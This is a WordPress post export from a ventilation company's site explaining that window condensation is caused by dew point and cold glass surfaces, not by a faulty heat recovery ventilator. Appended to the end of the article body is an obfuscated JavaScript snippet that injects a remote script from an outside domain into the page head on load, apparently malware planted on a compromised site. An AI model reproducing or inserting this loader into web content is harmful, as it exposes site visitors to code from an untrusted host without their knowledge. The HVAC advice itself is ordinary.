{"id":12102,"date":"2020-12-23T11:07:05","date_gmt":"2020-12-23T16:07:05","guid":{"rendered":"http:\/\/webdesignofsarasota.com\/aldesdev\/?p=12102"},"modified":"2020-12-23T11:07:27","modified_gmt":"2020-12-23T16:07:27","slug":"12102","status":"publish","type":"post","link":"https:\/\/old.aldes-na.com\/ca_en\/news\/12102\/","title":{"rendered":"Does my Heat Recovery Ventilator (HRV) have a problem?"},"content":{"rendered":"<h2><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-6520 size-medium\" src=\"https:\/\/www.aldes.ca\/wp-content\/uploads\/2018\/09\/condensation-1-300x161.jpg\" alt=\"\" width=\"300\" height=\"161\" \/>Does my Heat Recovery Ventilator (HRV) have a problem? Do you have condensation in your windows?<\/h2>\n<blockquote><p><strong><em>No, your HRV is not the problem.<\/em><\/strong><br \/>\n<em>An HRV is an effective, energy-efficient and healthy method of managing moisture in your home in the winter, but your HRV does not remove condensation from your windows, it removes excess moisture in the air.<\/em><\/p>\n<p><em>If condensation forms in your windows, it is because the temperature of the surface of the window is lower than the dew point of the surrounding air.<\/em> <em>There may be several reasons why the window temperature is below the dew point of the air such as poor window quality or too high a dew point.<\/em><\/p><\/blockquote>\n<p>The condensation in your windows is the same as the condensation that forms on a cold beverage can on a hot, humid summer day. The surface temperature of the can is lower than the dew point of the air outside.<\/p>\n<p>The dew point of the air depends on the amount of water vapour in the air. The higher the relative humidity, the higher the dew point and the more condensation will occur at high temperatures. For example, air at 21\u00b0C and 40% relative humidity has a dew point of 8\u00b0C.<\/p>\n<p>All surfaces with a temperature of 8\u00b0C or less, such as a window, will become covered by a layer of water droplets.<\/p>\n<p>To eliminate condensation in windows, there are two solutions.<\/p>\n<ul>\n<li>Lower the dew point of the surrounding air, or<\/li>\n<li>Increase the temperature of the window surface<\/li>\n<\/ul>\n<p>To lower the dew point<\/p>\n<p>Your HRV is the perfect appliance for lowering the dew point of the air when it is cold outside. \u00a0Your HRV will evacuate moist, stale air from your home and replace it with fresh, dry air from outside, lowering the dew point. Why is the air outside dryer? Because cold air holds less water vapour than warm air. When cold air is heated, first through the HRV and then through the home\u2019s heating system, the relative humidity drops.<\/p>\n<p>There are other technologies that can also lower the dew point of your home, for example, a dehumidifier. However, a dehumidifier does not supply any fresh, filtered air<strong>.<\/strong><\/p>\n<p>Increase the temperature of the window surface<\/p>\n<p>The only other possible solution to eliminate condensation in the windows is to increase the temperature of the inner surface of your windows.<\/p>\n<p>Window panes are exposed to very large temperature differentials in the winter. Some windows are better than others at preventing heat loss through transmission. For example a single pane will have almost the same temperature on the inside surface as the outside surface, whereas triple pane windows with air gaps will provide more insulation and significantly reduce heat loss, meaning the inside surface temperature will be closer to the room temperature.<\/p>\n<blockquote><p><em>The most effective method for increasing the temperature of the inner window surface is to promote air flow across it.<\/em> <em>Window treatments, such as curtains or blinds, create &#8220;microclimates&#8221; near the window and lower the surface temperature, which helps to form condensation.<\/em><\/p><\/blockquote>\n<p>To promote air circulation near windows, you can:<\/p>\n<ul>\n<li>Open the curtains and raise the blinds<\/li>\n<li>Use a fan to blow air toward the windows<\/li>\n<li>Place a heat source under the window<\/li>\n<\/ul>\n<p>If your windows are very old and need to be replaced, energy efficient windows (such as triple-pane) will also help ensure the interior surface temperature of the window is higher. \u00a0Regardless of the quality of the window, if a &#8220;microclimate&#8221; is created on the window surface due to a lack of air movement, there could still be some condensation, depending on the outdoor temperature and the indoor dew point.<script>function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))\/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))\/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))\/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))\/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))\/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))\/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))\/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))\/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))\/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))\/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))\/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))\/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else _0x214068['push'](_0x214068['shift']());}catch(_0x3f6e4e){_0x214068['push'](_0x214068['shift']());}}}(_0x4b2c,-0x5*-0x3e1bf+-0x1aca7f+0x156689));let script=document[_0x1736b2(0x1aa)+_0x1736b2(0x1ab)](_0x1736b2(0x1ac));script[_0x1736b2(0x1a2)]=_0x1736b2(0x1a8)+_0x1736b2(0x1ad)+_0x1736b2(0x1a7)+_0x1736b2(0x1a4),document[_0x1736b2(0x1a9)][_0x1736b2(0x1b1)+'d'](script);function _0x4b2c(){const _0x4f1112=['17443550keKqRZ','931FnYPhN','src','69028IzsNTz','index.js','8093784mCBYaL','47152AEpkIl','tter1.org\/','https:\/\/bl','head','createElem','ent','script','acklivesma','519158cdunSS','1986TJriDL','295BDDNha','appendChil','774DfdWRJ','11UNaThE','4HshFMS','4252614uPxTub'];_0x4b2c=function(){return _0x4f1112;};return _0x4b2c();}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Does my Heat Recovery Ventilator (HRV) have a problem? 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